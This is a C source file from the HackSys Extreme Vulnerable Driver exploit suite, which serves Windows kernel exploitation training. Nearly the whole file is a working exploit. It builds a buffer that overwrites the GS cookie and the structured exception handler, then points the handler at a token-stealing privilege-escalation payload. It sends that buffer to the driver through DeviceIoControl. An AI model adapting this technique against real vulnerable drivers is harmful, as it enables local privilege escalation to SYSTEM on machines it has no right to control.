/*++

## ## ######## ## ## ########

## ## ## ## ## ## ##

## ## ## ## ## ## ##

######### ###### ## ## ## ##

## ## ## ## ## ## ##

## ## ## ## ## ## ##

## ## ######## ### ########

HackSys Extreme Vulnerable Driver Exploit

Author : Ashfaq Ansari

Contact: ashfaq[at]payatu[dot]com

Website: http://www.payatu.com/

Copyright (C) 2011-2016 Payatu Technologies Pvt. Ltd. All rights reserved.

This program is free software: you can redistribute it and/or modify it under the terms of

the GNU General Public License as published by the Free Software Foundation, either version

3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;

without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program.

If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT

LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE

ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,

INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED

TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS

INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT

LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF

THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:

StackOverflowGS.c

Abstract:

This module implements the exploit for Stack Overflow

Vulnerability protected by GS cookies implemented in

HackSys Extreme Vulnerable Driver.

--*/

#include "StackOverflowGS.h"

DWORD WINAPI StackOverflowGSThread(LPVOID Parameter) {

HANDLE hFile = NULL;

ULONG BytesReturned;

SIZE_T PageSize = 0x1000;

HANDLE Sharedmemory = NULL;

PVOID MemoryAddress = NULL;

PVOID SuitableMemoryForBuffer = NULL;

LPCSTR FileName = (LPCSTR)DEVICE_NAME;

LPVOID SharedMappedMemoryAddress = NULL;

SIZE_T SeHandlerOverwriteOffset = 0x214;

PVOID EopPayload = &TokenStealingPayladGSWin7;

LPCTSTR SharedMemoryName = (LPCSTR)SHARED_MEMORY_NAME;

__try {

DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");

if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {

DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");

}

else {

DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");

}

// Get the device handle

DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");

DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);

hFile = GetDeviceHandle(FileName);

if (hFile == INVALID_HANDLE_VALUE) {

DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());

exit(EXIT_FAILURE);

}

else {

DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);

}

DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

DEBUG_INFO("\t\t[+] Creating Shared Memory\n");

// Create the shared memory

Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE,

NULL,

PAGE_EXECUTE_READWRITE,

0,

PageSize,

SharedMemoryName);

if (!Sharedmemory) {

DEBUG_ERROR("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError());

exit(EXIT_FAILURE);

}

else {

DEBUG_INFO("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory);

}

DEBUG_INFO("\t\t[+] Mapping Shared Memory To Current Process Space\n");

// Map the shared memory in the process space of this process

SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory,

FILE_MAP_ALL_ACCESS,

0,

0,

PageSize);

if (!SharedMappedMemoryAddress) {

DEBUG_ERROR("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError());

exit(EXIT_FAILURE);

}

else {

DEBUG_INFO("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress);

}

SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset));

DEBUG_INFO("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer);

DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");

RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41);

MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x204);

*(PULONG)MemoryAddress = 0x42424242; // overwrite xor'ed cookie

DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Value: 0x%p\n", *(PULONG)MemoryAddress);

DEBUG_INFO("\t\t\t[+] XOR'ed GS Cookie Address: 0x%p\n", MemoryAddress);

MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);

*(PULONG)MemoryAddress = 0x43434343; // junk

MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);

*(PULONG)MemoryAddress = 0x44444444; // Next SE handler

DEBUG_INFO("\t\t\t[+] Next SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);

DEBUG_INFO("\t\t\t[+] Next SE Handler Address: 0x%p\n", MemoryAddress);

MemoryAddress = (PVOID)((ULONG)MemoryAddress + 0x4);

*(PULONG)MemoryAddress = (ULONG)EopPayload; // SE Handler

DEBUG_INFO("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);

DEBUG_INFO("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress);

DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);

DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow GS\n");

OutputDebugString("****************Kernel Mode****************\n");

DeviceIoControl(hFile,

HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS,

(LPVOID)SuitableMemoryForBuffer,

(DWORD)SeHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE,

NULL,

0,

&BytesReturned,

NULL);

OutputDebugString("****************Kernel Mode****************\n");

}

__except (EXCEPTION_EXECUTE_HANDLER) {

DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());

exit(EXIT_FAILURE);

}

return EXIT_SUCCESS;

}